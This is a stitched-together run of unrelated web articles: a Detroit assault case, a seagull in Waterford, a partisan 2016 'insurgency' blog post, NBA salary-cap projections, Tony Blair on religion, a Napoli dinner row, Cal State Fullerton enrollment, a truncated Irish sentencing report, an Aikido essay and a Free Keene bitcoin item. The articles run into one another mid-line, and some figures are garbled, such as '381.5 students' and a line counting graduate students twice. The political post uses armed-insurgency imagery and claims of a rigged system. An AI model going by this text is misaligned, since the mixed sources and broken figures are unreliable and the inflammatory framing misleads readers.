De'Naye Washington (left) was sleeping inside her home in Detroit when her attacker - who police believe was Darian Winfield (right) - burst through the window, battered over the head and sexually assaulted her
He is also accused of breaking into another house on the same street as DeNaye's home on December 30, before allegedly stabbing a 39-year-old woman in the chest with the intent of sexually assaulting her.
James Craig, from Detroit Police Department, said: 'In one incident we know he was armed with what appeared to be a kitchen knife. In the most recent incident, blunt force trauma. We don't know what weapon may have been used.'
Winfield is yet to be charged following DeNaye's murder.
His family claim he is innocent, with his mother, Anita Pace, telling the Detroit News: 'It's not him. They have the wrong person'.A SEAGULL NAMED Jonathan is apparently terrorising the people of Waterford.
WLRFM’s Big Breakfast Blaa reports that the seagull, who is named Jonathan, sits on a lamppost on the Dunmore Road at the hospital roundabout at Collins Avenue.
From his perch, he dive bombs at joggers and is heard “laughing”, the station says.
There's Jonathan. Terror? Or just misunderstood? Source: WLRFM via Facebook
“Waterford has been put on ‘high seagull alert’ following numerous reports of swooping and dive-bombing by a lone seagull.
“Jonathan has swooped down at joggers and some reports say he appears to ‘laugh’ afterwards. It is advised that you don’t eat any food, such as ice-cream or a sandwich, while walking in this area.”
The station is asking people to be “seagull aware” and to listen in for updates, but it Jonathan is already causing terror.There are various comments/questions being raised about the current state of our national political condition, and the potential for failure toward the goal of MAGA in 2016.
To those voices specifically; to the members of the Rebel Alliance who hold trepidation about the possibility of losing; to people holding these concerns, I would like to take a moment and present an alternate perspective.
If you were to ask a general question about the beginning of the American Revolution to a thousand average educated Americans, the customary reference point would be the Boston Tea Party. Ask what was the issue and you’ll hear the phrase: “taxation without representation“. England, and specifically King George, being the essential tax benefactor.
Fair enough, albeit modestly simplistic. Using that historic reference framework, and attempting to carry a crude analogy forward, I would argue we’ve already well passed the dumping of the proverbial tea phase.
After the famous Boston Tea Party, the British Parliament responded in 1774 with the Coercive Acts, or Intolerable Acts, which, among other provisions, ended local self-government in Massachusetts and closed Boston’s commerce. This only increased the resolve of the Sons of Liberty. King George sent 4,000 British troops under the command of General Thomas Gage to occupy Boston.
The Sons of Liberty (Sam Adams, John Hancock etc) essentially became an insurgency within Boston and continued their organizational efforts after the occupying British forces disbanded local and provincial government.
Adams, Hancock and the Son’s of Liberty formed the Provincial Congress, and subversively organized teams of local militias and coordinated the accumulation of, and hiding of weapons, and other military supplies.
The key point to note is during the phase after the Boston tea destruction and prior to the battles of Lexington and Concord, the activity was insurgent. General Thomas Gage and his army ruled the commonwealth, the Sons of Liberty used stealth and secrecy to operate.
In 2016 we have already passed the destruction of the tea phase when we, like the Sons of Liberty, united to break the grip of the DC UniParty and successfully nominated Donald Trump. We did not fracture tea boxes, we fractured a rigged political system. We are not currently fighting taxation without representation per se’; we are fighting legislation without representation.
And, just the British Parliament, the response from the DC UniParty was fast, strong and severe. Instead of a British army, the DC UniParty dispatched every media tool, every Wall Street financier, almost all popular culture figures, and every available ounce of leverage they have to retain their grip on power, against us.
As a specific and direct consequence, we now hold a tenuous stake in a new Republican party. And just like the provincial congress, our efforts have shifted into the Deplorable insurgency phase. While the army of the MSM marches in the streets 24/7 via broadcast and print media against us, we moderate our visibility on alternate/new media.
The analogy is a critical frame of reference because the time for wondering about “what if” has passed. We have already destroyed the tea. There is no retreat from this moment, and more importantly, we have nothing left to lose.
There are many who use a frame of reference about ‘saving a constitutional republic‘; while I do not mean to be dismissive of this benevolent sensibility – in case you have not been paying attention we’ve long since passed the threshold of that possibility.
The architecture of our own U.S. government is now operating independent of the electorate (Obamacare, Omnibus etc.). Congress is consistently passing legislation without appropriate representation (PR Bailout, Ominbus, Corker/Cardin amendment, Fast-Track Trade Authorization etc.), and the various operational constructs, divisions, and agencies within the DC UniParty are now fully weaponized against us (IRS targeting, FBI Comey/email non-finding, etc.).
Whether we like to admit it or not, just like the futuristic Skynet, our government has become self-aware, risk adverse and is intent on sustaining its UniParty agenda against any threat, risk or voice that might rise in opposition.
During the presidential debate NBC moderator Lester Holt said: “stop and frisk has been determined to be unconstitutional“. What would Holt’s response have been if Donald Trump simply said: “lets have that conversation with the TSA at an airport“?
Think about it.
The concept of freedom is usefully pushed by the media -in the above example Lester Holt- to retain a false premise, an illusion. The reality is, we have long since passed all historic references to that concept. Listening to Old Yeller Levin shout about it philosophically on talk radio isn’t going to make it come back.
♦ Current legal and judicial interpretations of the: “2001 Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism Act” also known as the “Patriot Act“, resoundingly agree that if you are within 100 miles of a U.S. border the typical interpretations of constitutional rights no longer apply because you are within a specific geographic zone where governmental limits on search, seizure and detention are suspended by the needs of the modern law.
This is where people take out a map and draw a 100 mile interior line on it to figure out if you live within the remaining zone of constitutional protection. Keep in mind, a state like Florida is less than 200 miles wide and the border is both the Gulf of Mexico and the Atlantic Ocean – do the math.
My larger point in this perspective is this: If you are concerned about this election because you are anxious about losing something, forget it – what you are worried about has already been lost, you just haven’t noticed it yet.
This election is not about winning and losing. While you were sleeping that war was already fought, and lost. The system is already rigged now, you cannot stop the rigging from taking place. Done is done. Debating whether to give national leadership power is moot when they already have it.
The accurate perspective for this election is we are trying to block those who are now in control of a weaponized government from doing even more damage TO US with the power of the UniParty they already possess.
This distinction is critical. This distinction defines the insurgent nature of this specific campaign.
Make America Great Again, is a vague concept more akin to grabbing the power cord feeding the UniParty, ripping it from the wall, and shutting down the out-of-control Skynet U.S. Federal Government. Only when the entire apparatus has been halted can we begin the evaluating, dismantling and cutting it down to brass tacks phase.
Don’t worry about tone folks. We don’t have time for tone conversation. Grab your section of Bangalore and wait for your call.
AdvertisementsI have a request. I try to write posts which I believe are unique, in depth and insightful. I hope you agree. I therefore ask that you please not simply copy my work without providing proper credit. It feels rather awful to see my work being exploited. If just you ask, I am more than willing to help out anyone and everyone in any way I can.
The NBA has issued updated projections for the 2016-17 salary cap and luxury tax thresholds.
All 30 teams were informed this week via league memorandum that the 2016-17 salary cap is now projected to be $92 million, while the luxury tax threshold is projected at $111 million.
The numbers represent a substantial increase from the NBA’s initial projections for the 2016-17 season issued last July – which called for a salary cap of $89 million and tax threshold of $108 million – as well as a massive increase over the 2015-16 cap and tax of $70.0 million and $84.74 million, respectively.
The primary reason for the jump is the new national TV rights deals with ESPN/ABC and TNT, nine-year pacts worth a combined $24 billion which will pump in an incremental $1.1 billion of revenues next season.
National TV revenues, however, aren’t the league’s only source of revenue growth. Not by a long shot.
The updated cap figures suggest the league is now expecting revenue growth for the 2015-16 season from sources other than national TV rights to come in at more than 9 percent, when the figures are finalized in less than three months.
The huge increase in revenues, which comes on the heels of a huge increase last season as well (8.2 percent year-over-year growth), will come from a variety of sources.
Gate receipts, which grew by about $100 million in 2014-15, will spike again, along with related concessions and merchandise sales, thanks in large part to the Golden State Warriors’ record-breaking 73 win season and the retirement tour of the Los Angeles Lakers’ Kobe Bryant.
Commissioner Adam Silver has also landed several new sponsorship deals and extensions of existing arrangements at rates that far outpace their previous amounts.
Anheuser-Busch InBev extended its partnership with the NBA, which began in 1998, for another four years in December. Financial terms of the deal were not disclosed, but the new deal, which kicked in immediately, is considered to be among the league’s largest.
PepsiCo replaced Coca-Cola as the league’s official beverage partner after 29 years, in a five-year deal struck in April 2015 that kicked in this past season. Financial details were not disclosed, but PepsiCo is also considered one of the league’s largest sponsors.
Verizon replaced Sprint as the league’s sponsorship content provider in November, signing a contract worth around $400 million over three years.
Tissot partnered with the NBA in October as the league’s first ever official timekeeper, signing a contract worth around $200 million over six years.
State Farm in January extended its multi-million dollar partnership with the NBA for six more years.
International revenues are also booming.
Internet giant Tencent started a deal with the NBA in July to provide live games and other programming in China. The pact, worth $500 million over five years, also has a revenue sharing component that could add an additional $200 million.
The story is the same on the local TV front, where both the Atlanta Hawks and New York Knicks started new contracts this past season.
The league is now expecting total 2015-16 revenues to come in at more than $5.2 billion, smashing the projections off of which the $70 million salary cap was based by about $185 million.
On that basis, the league is projecting in excess of $6.5 billion in revenues for the 2016-17 season.
To get the salary cap for the season ahead, the league takes 44.74 percent of that projected revenue amount, subtracts projected benefits, and divides by 30 (the number of teams in the league). The luxury tax uses a similar formula, but is based on 53.51 percent of projected revenues. Adjustments are then made to the cap if players received either too little or too much in salaries and benefits for the just completed season relative to the finalized revenue figure.
Revenues are growing so fast that teams are having a difficult time catching up in doling out new contracts to their players.
According to the terms of the 2011 Collective Bargaining Agreement, players will be entitled to 51 percent of league-generated revenues for 2015-16 and future seasons.
While league-wide revenues have yet to be tabulated, the NBA is currently expecting that players will fall short of receiving their fair share by $93 million. Any shortfall, as determined during July Moratorium, will need to be paid to the players after the season. At that level, teams would need to contribute about $3.1 million each.
As a result of the shortfall, the 2016-17 cap and tax figures would be adjusted upward by a corresponding amount.
To arrive at its $92 million salary cap (and $111 million luxury tax) figure, then, the league is taking $6.5 billion in revenues, multiplying by 44.74 percent (53.51 percent), subtracting projected benefits, and dividing the total by 30. To the result, it is adding $3.1 million.
The new figure, $92 million, is a testament to the NBA’s incredible revenue growth.
But the outsized revenue growth doesn’t stop there. It will continue on into the future.
Local TV deals are still expanding. The Dallas Mavericks inked an extension in the fall with Fox Sports Southwest worth more than $50 million a year. The Orlando Magic and Cleveland Cavaliers both begin new local TV deals with the 2016-17 season. The Los Angeles Clippers’ current deal expires after the 2015-16 season. In all, as many as 10 teams, including the Miami Heat, have or are expected to sign new deals or reset their existing ones at big increases by the end of the 2017-18 season.
In June, Nike signed a massive new deal to replace Adidas as the NBA’s uniform provider starting with the 2017-18 season. The eight-year contract is worth more than $1 billion annually, an average of $125 million, up from the $400 million over 11 years, an average of $36 million, that Adidas was paying.
NBA owners earlier this week approved a three-year pilot program to allow teams to sell advertising space on their jerseys. The program will begin with the 2017-18 season, and could add upward of $150 million in incremental revenues.
By the time the 2017-18 NBA season is completed, total revenue growth since 2012-13 (the first full season under the current Collective Bargaining Agreement) from sources other than the new national TV rights deals will outpace the total revenue growth from the national TV rights deals themselves. By that time, league-wide revenues should top $7 billion!
Revenues are growing so fast, in fact, that it is becoming increasingly challenging for teams to pay the players their 51 percent share of those revenues in the form of salaries and benefits. Last year, team missed the mark by $57 million. This year, the league is projecting a $93 million shortfall. In 2016-17, as a result of the exploding salary cap and relatively few quality players on which to spend the resulting league-wide cap space, the NBA is projecting a massive $375 million shortfall. And that figure, if you can believe it, is actually down from earlier projections.
One potential headwind for the league along its massive revenue growth trajectory is the impending labor dispute with the players. Both owners and players have the right until December 15 to opt out of the current Collective Bargaining Agreement, which would take effect following the 2016-17 NBA season.
While NBA owners love the current deal, which reduced the share of revenues allocated to players from 57 percent to the current 51 percent, players are naturally less thrilled. As a result of the shift, players have surrendered $1.5 billion over the past five years (an amount which figures to grow rapidly). They feel like they made significant sacrifices when the NBA was claiming poverty, and now that profits and franchise values are soaring, they’re likely to want some back.
If they are successful in getting some back, it could increase future salary cap levels even more.
On the other hand, the current adjustment mechanism, which has and will continue to artificially prop up salary cap levels due to owners’ inability to keep pace with rising revenues in the contracts they dole out to players, could potentially be re-worked or even eliminated, which would decrease future cap levels considerably.
These opposing forces make projecting future salary cap levels beyond 2016-17 exceedingly problematic, and any such projections should therefore be considered tenuous at best.
The league did provide updated projections through the 2020-21 season in its latest memo. The projections, however, are based on an assumption of no changes to the salary cap during the potential upcoming lockout. They are as follows:
2017-18: $107 million salary cap / $127 million luxury tax
2018-19: $105 million salary cap / $ 126 million luxury tax
2019-20: $106 million salary cap / $129 million luxury tax
2020-21: $112 million salary cap / $136 million luxury tax
While any such projections after next season can not necessarily be replied upon, the projections for the 2016-17 season are very real, and figure to help the Heat considerably.
Miami will start the summer with six players under contract for the 2016-17 season – Chris Bosh, Goran Dragic, Josh McRoberts, Justise Winslow, Briante Weber ($219K guaranteed) and Josh Richardson (non-guaranteed).
In addition, at a projected $92 million salary cap, Miami would have the right to sign Tyler Johnson to a contract that exceeds the cap, and an additional $40 million of cap space with which to spend on players such as Hassan Whiteside, Dwyane Wade and any other.
Of course, the latest figures provided by the NBA are only projections. The 2016-17 salary cap and luxury tax levels will be finalized upon the conclusion of the July Moratorium on July 6th.The former Prime Minister laughed off the way in which his former press secretary Alastair Campbell advised him to avoid discussing religion when he was in power as he made his most explicit public profession of faith.
Speaking at a debate in London with the Archbishop of Canterbury, Dr Rowan Williams, Mr Blair spoke openly about his belief in “salvation through Jesus Christ” and even attempted to explain the resurrection.
He disclosed for the first time how he even once ordered his aides to kneel down and pray at a meeting with members of the Salvation Army.
And he dismissed claims that he prayed with George Bush – but insisted that it would “not have been wrong” to do so.
Mr Blair joined Dr Williams and the former Daily Telegraph editor Charles Moore to discuss the role of religion in public life at the latest in the series of high-profile Westminster Faith Debates in London.
He told how while in power he often disagreed with Christian groups, including on issues such as introducing supercasinos, but insisted that it was important that their views were heard.
He said that there was “something basic and fundamental” about the contribution the Church had made in Britain adding: “It is very important that that voice is heard.
Using the word “we” when referring to Christians, he added: “It is important that we are prepared to speak up and speak out from the position of faith and say we are not afraid to say this is what we believe and why we believe it.”
Laughing about Mr Campbell’s “famous instruction” to steer clear of religion, he told how while he was leader of the opposition two members of the Salvation Army had come to see him.
“At the end of the meeting one said ‘right we are all going to kneel in prayer’," said Mr Blair.
“There were two people in my office, who shall remain nameless, who looked absolutely aghast but I said ‘you are going to have to get on your knees’.
“They said ‘for God’s sake’ and I said ‘exactly’.”
He added that it had been refreshing to meet people who were “not ashamed” of their faith.
Asked whether the same had applied in relation to Mr Bush, he suggested he would have prayed with the former US president had he been asked to.
“It would not have been wrong – it’s just that it didn’t happen,” he said.
There was applause for Dr Williams when, in answer to a question from the floor, he told how he had voted in the Lords against Mr Blair’s plans to liberalise gambling laws.
“I did think the idea that you could regenerate an impoverished area of Manchester by importing a supercasino seemed to me utterly, utterly bizarre.”
Dr Williams also addressed the series of controversies about Christianity in public – such as the wearing of crosses – adding: “I’m just a little wary about jumping too quickly in to the victim posture.”Spanish goalkeeper Pepe Reina's future now appears to be in doubt after the Napoli man stormed out of a team dinner along with his wife Yolanda Ruiz during the week.
All of the Napoli camp were having an end of season dinner at a public restaurant when president Aurelio De Laurentiis made a very poor joke about the stopper and his wife.
La Gazzetta dello Sport claim that De Laurentiis stood up, looked at Reina and told him he “has to to give up some outside distractions to become stronger."
Yolanda immediately got up and stormed off, and despite the president claiming he was only joking, Reina left too.
The former Liverpool keeper later posted the following tweet:
Translation: The true elegance is to remain indifferent to people who are worth little.
Yolanda followed with a post of her own on Instagram, stating: "When the rulers lose their shame, those who obey lose respect."
This isn't the first time Reina and De Laurentiis have had issues. Late last year, there was said to be tension when several players, including the keeper, asked the president what bonus they would receive for qualifying for the knockout stage of the Champions League.
The 34-year-old's contract is set to expire next year, and a renewal now looks unlikely.
Kavan Flavius is a regular contributor to the Official Chelsea Guest Fan Blog, find him on Twitter @KavanFlavius.
This semester, the College of Engineering and Computer Science has seen the largest growth of any college at Cal State Fullerton.
While the growth is a significant achievement for a college that, fewer than 30 years ago was facing a complete shut down, it nonetheless ushers in growing pains that create further issues for the college leadership to address.
In the ‘90s the college faced many problems, a situation which nearly led to the closure of the college.
Those issues resulted from a lack of leadership and expertise, along with a decline in enrollment, said Raman
Unnikrishnan, Ph.D., dean of the College of Engineering and Computer Science.
“We were considered a prime candidate for closing down,” Unnikrishnan said.
In 1996 Schaffer Associates, a consulting agency, was hired by then University President Milton Gordon to audit the engineering and computer science program.
The agency concluded that faculty at the time was not working together to solve problems, there was a lack of meaningful dialogue regarding the college’s budget, and the college could not sustain an environment of change due to a lack of leadership.
Despite these issues the agency recognized the college’s success in graduating students, and there were many individuals within the college who did want to work toward change.
The agency recommended the college hire a dean who would focus on correcting the issues plaguing it. Andy Bazar, dean for the college at the time, resigned shortly after the consultation meetings began.
Part of the enrollment decline was also due to the decline of the aerospace industry in California, said Susamma Barua, Ph.D., associate dean for the College of Engineering and Computer Sciences.
Barua, who has worked at CSUF since 1988, said the lack of employment in the industry brought a correlating dearth of funding to the program, and a corresponding decrease in enrollment.
“When enrollment goes down so does the resources that are attached to it,” Barua said. “And because of that we weren’t able to hire any new faculty members and didn’t have money to upgrade new labs.”
Richard Rocke, Ph.D., came into the university as an acting dean for the college in 1997, where he remained for four years, helping to stabilize the program and its budget.
Rocke connected the college with outside industries that helped bring money into the college, and began the process of examining how money was being spent.
“He did a very good job of stopping the hemorrhage,” Unnikrishnan said.
Unnikrishnan took over as dean in 2001 and has been working to improve the college and increase student success. He started by incorporating a program with foci including recruitment, retention, research, resources and reputation.
“As a dean, I’m responsible for the college’s well being,” Unnikrishnan said. “This college was going straight down because it did not have the resources, not the only reason, but I think people were not paying attention to us.”
One of the first things Unnikrishnan noticed when he came into the college was the large amount of part-time faculty, he said.
“Lots of part timers to teach classes with two students, three students, four students–that’s a waste,” Unnikrishnan said.
In 1990 the college had an undergraduate enrollment of 1,813 students and a graduate enrollment of 472 students. By 1996 those numbers dropped to 1,035 for undergraduates and 302 for graduate enrollment.
In the years from 2000-2001, ECS had a total undergraduate enrollment of 1,270 students and a graduate enrollment of 381.5 students.
In Fall 2014 the college has a total 2,993 graduate students and 1,229 graduate students.
Majors like computer engineering, software engineering and environmental engineering master’s programs added in 2004 and have seen some slower growth because they are newer programs.
Increased outreach by the college following the implementation of these programs aided a spike in graduate enrollment, Barua said.
The number of degrees awarded to graduate and undergraduate from the college showed a gap just before 2010, a jump in graduate degrees earned spiking years before the undergraduate followed suit, Barua said.
That issue is attributable to the fact that graduate students finish their degrees in two years, rather than the four and a half to six years it takes undergraduate students to receive their degrees on average, she added.
It has been difficult for the college to accommodate this new growth in enrollment, Unnikrishnan said, and the most pressing issue is space––the college does not have enough classroom space, laboratory or room for faculty research.
“Do we have the funding? Of course not,” Unnikrishnan said.
With more enrollment, however, comes more money and enrollment initially leads the way for more resources, he said.
The ECS college has proposed a project to increase space by closing in the bottom where the pillars and veranda are located. Bringing the walls down to obtain that space around the building would allow another 4,000-5,000 square feet of space.
The majority of funding for the college currently comes from grants provided by local industries, including General Electric and Southern California Edison, and alumni donations.
The Engineering and Computer Science Inter-Club Council is responsible for allocating funds received from Associated Students, Inc. Associated Students grants money to each of the university’s inter-club councils for each college, and the councils then distribute the money to projects within the colleges.
Much of the funding the council receives goes to projects within the college, as well as travel for conferences and competitions that students attend, said Ivan Bernal, a mechanical engineering major and chair of the Engineering and Computer Science inter-club council.
Those conferences and competitions are one way the engineering and computer science students are able to get their names out there, across the CSU system and even across the nation, Bernal said.
“We are sending our top students to these competitions through funding from ASI and they’re serious about these competitions, and they’re winning first place, and second place,” Bernal said. “But the problem is our enrollment rate is going up and having more students, so its harder to get as many people involved and it’s harder to send our best and our brightest out there.”
Seniors Michael Salas and Christian Simpson, both mechanical engineering majors, have seen significant growth in the program, with students, faculty and in senior projects.
“It’s our last year and we see a lot more young engineers compared to when we were starting out,” Simpson said.
The college was recently ranked no. 16 in the nation for online master’s programs in engineering–one spot ahead of Ivy League school Cornell.
Despite the challenges that come with growth of ECS, Unnikrishnan said they are dealing with the growth and it is a problem they are happy to have to address.
“These are the best of times––we have the problem for prosperity,” Unnikrishnan said.
If you liked this story, sign up for our weekly newsletter with our top stories of the week. EmailA 23-year-old man has been sentenced to six and a half years in prison with the final 18 months suspended for dangerous driving causing the death of a 42-year-old cyclist almost three years ago.
A 23-year-old man has been sentenced to six and a half years in prison with the final 18 months suspended for dangerous driving causing the death of a 42-year-old cyclist almost three years ago.
Shane Fitzgerald of Upper Knockeen, Knockduff, Meelin, Co Cork had denied his involvement in the accident which claimed the life of P |
of Aikido.
Training under the Founder was likely much more martial than it is today. I have been told numerous times that many of O Sensei’s early students were yudansha (black belts) from other martial arts, who apparently considered that what Aikido had to offer fit on top of the teachings of these other arts, versus being a replacement for them. O Sensei was renowned for his ferocity, served in wartime and trained military troops, and was an acknowledged genius for his accomplishments in many different combat arts. O Sensei’s training regimen was severe, and he maintained discipline his entire life. Certainly no-one would accuse his Aikido of being ineffective or unrealistic against trained fighters; O Sensei faced trained fighters on many occasions.
My teacher, Mitsugi Saotome Shihan, was one of O Sensei’s most martially-oriented disciples; he is known for his weapons work and his talent with multiple attackers. He has been a consultant with the U.S. Pentagon helping to train and test special operations soldiers. He speaks regularly at his seminars about the importance of cultivating intense training and a severe mindset embracing the life-or-death implications underlying Aikido practice, and I have written elsewhere about his assertions that studying the “dark side” of Aikido is critical to gaining a true understanding of the art as the Founder practiced it. He had a reputation for honing his skills against live blades. Saotome Sensei once told me that “it is the responsibility of every true [Aikido] deshi to discover the weaknesses in their training, and to go out and fix them with training in other arts.” While one could argue that this is evidence that Aikido is not an all-encompassing art, I would argue the opposite. for O Sensei, simultaneously having Kenjutsu students in his dojo thinking and attacking like Kenjutsu experts, having Karate students thinking and attacking like Karate experts, and having Judo students thinking and attacking like Judo experts all fit easily into his vision of Aikido. If the typical dojo today doesn’t resemble that kind of eclectic, dynamic training environment it certainly isn’t the fault of the Founder and isn’t necessarily definitive of the art.
“Always imagine yourself on the battlefield under the fiercest attack; never forget this crucial element of training.” – O Sensei Morihei Ueshiba
Aikido isn’t a body of techniques, it is a philosophy, a strategy of mind, movement, connection and redefining the battlespace. I recently asked Saotome Sensei – “Sensei, a lot of information has been published recently implying that O Sensei actually practiced Daito Ryu Aikijujitsu his entire life, even while he was building the Aikido community. What is the difference between Daito Ryu and Aikido?” Saotome Sensei simply said “Daito Ryu is technique; Aikido is principle.” Principle can be applied in any environment, with any tool or technique, and as such Aikido training can encompass ne-waza, kicks, deadly strikes, realistic attacks, conditioning, exploration of battlefield techniques, and incorporation of other arts. It is the philosophy, attitude and greater purpose that changes and integrates these things into Aikido.
If one takes the time to look around, it is possible to find Aikido dojos filled with frightening veterans of other martial arts. They joined Aikido because it provided an opportunity to continue their training without having to pretend they were still 25, and because it provides a path for them to continue studying insights from their prior arts in new and challenging ways. They did not surrender their prior arts to join Aikido, they added Aikido to their prior arts.
It’s Not Useful To Compare Strengths To Weaknesses.
First, I think it’s worth noting that the average Aikido practitioner is, well, “average”, and typically older than most MMA athletes. It’s a strange comparison when one is contrasting the performance of a 45-year old against a 25-year old athlete. Aikido “ages well” compared to most arts, and that’s one of the reasons so many older martial artists migrate to Aikido.
I have a Darwinian evolution-based philosophy about the origin of every martial art. I believe that each martial art evolved to be the very best at dealing with the most likely life-or-death hand-to-hand encounter that might be faced in the time, culture, economic and political environment in which they came to be. In other words, they each are potentially really good at the specific thing that they do. If you dropped an MMA champion into a jungle with a machete and he tripped across an enraged Kali / Arnis expert, the MMA champion wouldn’t be leaving the jungle. Alternately, if that same Kali expert was dropped into an octagon or ring with an MMA expert – particularly if suddenly not allowed to do anything against the rules of the sport – the MMA expert would prevail handily. This is not to denigrate either tradition, it’s just to highlight that it’s pointless to measure arts against each other based upon what one is good at and what the other isn’t.
Aikido has a very specific historic context that evolved its syllabus of techniques, broadly speaking (let’s set aside discussions about Aikido styles and affiliations). Many of its techniques are evolved from the context of battlefield combat, often wherein the combatants were wearing some level of armor but also wherein most combatants were armed; this influenced both the attacks were performed (to penetrate armor) and how defenders responded (going to the ground in the middle of a battlefield is risky). In many cases the techniques were developed to be used in grossly unequal situations, such as against multiple armed attackers, or when one combatant found himself unarmed against an armed opponent. Aikido incorporates many formal military arts including spear, staff, more than one school of swordsmanship, on top of the Daito Ryu Aikijujitsu from which our modern art has inherited most of its hand-to-hand techniques. These original techniques were developed on the battlefield, and the ones that were passed down through the few major ryu-ha (traditional Samurai art lineages) were the ones that succeeded and whose practitioners survived. When Aikido is most deadly and applicable as a combat art is when these original roots are considered and explored, and these combat situations are examined.
Let me give a personal example. I was Head Instructor at the University of South Florida Aikido for many years. Each semester, we would have to struggle to keep our “slot” in the university sports center’s training room that contained wrestling mats, and each semester we would either have to compete with (for scheduling slots) or be “neighbors with” (having a schedule immediately before or after) some different martial art or martial sport club. Since our room had wrestling mats, frequently we were uneasy neighbors with some MMA club (these clubs rarely survived for more than a couple semesters, but another club would reincarnate soon after with new members and teachers). Inevitably, I had to deal with a familiar pattern where (over the course of days, possibly weeks) athletic young male MMA practitioners (sometimes the teacher) would start by loitering in the hall outside our door before or after our class, becoming increasingly bold with deprecating comments amongst themselves about what we were doing. The next step would be for them to start coming into our room during class, and either trying to help themselves to our mats or stand with their arms crossed looking derisive. Sooner or later, somebody would eventually challenge us in some way. At first, my tactic was to invite them to train with us and experience the art before they formed an opinion. A surprising number of hecklers couldn’t handle the invitation, and would leave never to be seen again. However, some would, and as I knew that they would spend the entire class trying to “win” against their partners and prove how weak our Kung Fu was, I would use them as my teaching ukes and only let them train with me or a senior student. I figured, “if my training was legitimate, it shouldn’t matter.” Unfortunately, the first few times I did this I tried to stick to my syllabus – and if I was teaching shomenuchi ikkyo (downward strike, first technique /arm control) then I was going to take it as a personal test that I could perform shomenuchi ikkyo in a textbook/testing fashion, even though it was against a strong young man who knew what I was going to do and was going to try to do everything they could to stop it. I am strong, large, and have a lot of experience, so I can say that a) I generally succeeded, b) it was never pretty, c) I learned alot about teaching, and d) I never succeeded in convincing any MMA visitors that Aikido wasn’t worthless.
Later, I got a little smarter. I realized that “anything that ends in ikkyo is still ikkyo”. This was immensely liberating, and by taking away the challenger’s knowledge of what I was going to do made it much easier and more successful for me. My Aikido improved, but I observed that a) I still never convinced any MMA visitors that Aikido wasn’t worthless, and b) refer to point a).
I finally gave up, and by dint of frustration discovered a final strategy which worked like a charm on two or three occasions (until we eventually left the University). When our MMA visitors worked up to coming into our room and started throwing attitude during class, I would stop everything, hand shinai (practice swords) to three senior students, have them surround one of my petite young lady students, and just say “attack!” I would let the visitors watch a full-speed weapons randori for a while, and when I stopped I would just gaze politely and inquiringly at the visitors, inviting comment. Every time, their comments were gone, and they would leave never to bother us again. Say what you can about the ferocity, power, and effectiveness of modern MMA, it was always clear that MMA training wasn’t going to prepare them to look good or do well in a situation involving multiple, fast attackers with weapons. By showing one of the strengths of Aikido, it removed the visitors disrespect of Aikido.
(As a side note – if these groups had been more respectful, we would have happily cross-trained with them, as we had with the Kenjutsu and Tae Kwon Do clubs.)
It Is Very Compelling To Be Pulled Into An Opponent’s Strength.
About twenty years ago – I think I was shodan in Aikido – a friend who practiced a striking art (I forget which) asked me to spar with him. Always up for training, I said “sure!”, thinking the engagement would be informative – and it was. We stepped together and immediately, all my warning instincts fired up – and then the sparring started. In general, I remember it was all I could do to hold my distance, and I relied on falling into a lot of my old Karate patterns to accomplish even that. After a break, I thought about it, and realized the problem – my opponent was used to all of his training at a certain sparring distance, and I let him define that distance for me.
Why in the world would I do that? I was playing his game, the game he was good at. I was throwing out all the effective principles I had learned in Aikido, like ma-ai (distance control), de-ai (timing, and working with partner’s triggering of intent), irimi and tenkan, in order to plant myself toe-to-toe within range of my opponent’s weapons, tactics and techniques. When we re-engaged, it was an entirely different interaction; while I only touched him a couple of times, they were quality touches, and it was clearly very frustrating for him that I wouldn’t “stay put” and just fight with him on his terms. I use the term “fight” in italics, because I have come to feel that the deeper meaning of “fighting” also signifies “to maintain or reinforce a struggle,” and my experience with my friend made that meaning clear.
When invited to spar, inevitably we are being invited to spar on the terms of the inviter, and there is a very insidious and compelling force that draws us into doing so without critically examining what is happening. Unfortunately, this same thing happens when we get drawn into online (or in-person) debates about the merits of various martial arts; we start using the terminology of the person on the other side of the debate, and measuring our art against what they value and easily understand while simultaneously forgetting what is important about Aikido.
Sometimes we find the lure of defending our art in these online debates irresistible, because we hold in our most secret of hearts a deep insecurity about what we have been taught, and whether or not we could “measure up” if we had to. “How dare you impugn my training!” I think it’s important to be aware of our motivations for responding to debate; Aikido doesn’t need to be defended on this front, and if we were truly confident in our training and convictions, we wouldn’t feel the need to be defensive. It’s up to us to discover if we have that insecurity, and as Saotome Sensei said, “go out and fix it.”
Aikido Is About Living.
The biggest point that gets lost in these debates is that Aikido isn’t about winning a street fight, it’s not about winning toe-to-toe against a training fighter, it’s not about winning a sporting match or duel. Aikido is about exploring conflict to learn how to live life better, learning how to be a better and happier person, and how to gain insight into how martial training can be applied to all aspects of life, family, career, etc. I didn’t stop training in Judo because it wasn’t effective, I left because I realized I needed something more in my life; that the rewards of winning at a competition every 2 or 3 months didn’t justify the time and energy and money I was pouring into training. I realized that most of the competitors I encountered never had the introspectiveness to examine why they felt the need to prove themselves over and over. Don’t get me wrong – I have written in other articles that there is some real warrior value in stepping into the ring, and I have met and trained with numerous devout followers of the Way in these arts. However, it seemed to me that a lot of the men I faced were driven by some need or deep insecurity to “measure up” in a way that was never going to be fulfilled no matter how many matches they won, and the attitudes they brought to their training and matches (win at all costs, never lose, cheat when the judge can’t see, intimidate opponents whenever possible, never show weakness, etc.) were going to serve them very, very poorly when they manifested as reinforced personality patterns in their work, family, and other relationships. This is the michi (spiritual path) that Aikido offers, that MMA does not. You can tell me about sportsmanship and cultivating integrity and how bad sportsmanship isn’t representative of everybody, but I was there, and I didn’t develop these impressions from reading books or watching videos or wearing TAPOUT gear.
So, I often read questions like “why aren’t there many Aikido practitioners in MMA competitions?” To me, the question can be turned around, “why aren’t there many MMA practitioners practicing Zen sitting meditation?” Because one is about winning trophies, and the other is about winning peace and happiness.Free Keene Launches Bitcoin Radio Commercials
New Hampshire’s Free Keene community recently announced a historic Bitcoin radio ad campaign. The libertarian-based organization wants to spread more cryptocurrency adoption, savings, and other benefits through advertisements on “The Peak” radio.
Also Read: Rare Pepe Gets Blockchained, Made Into Tradable Counterparty Tokens
Free Keene Launches Bitcoin Radio Ads On ‘The Peak’ Radio Station
Free Keene is a well-known New Hampshire-based libertarian enclave. Many residents believe in free market philosophy and in removing state-powered monopolies on force. Free Keene affiliates also have a website that shares local content and libertarian-related news.
Alongside this, a large portion of residents are Bitcoin supporters and the area has a vast amount of merchants who accept the cryptocurrency.
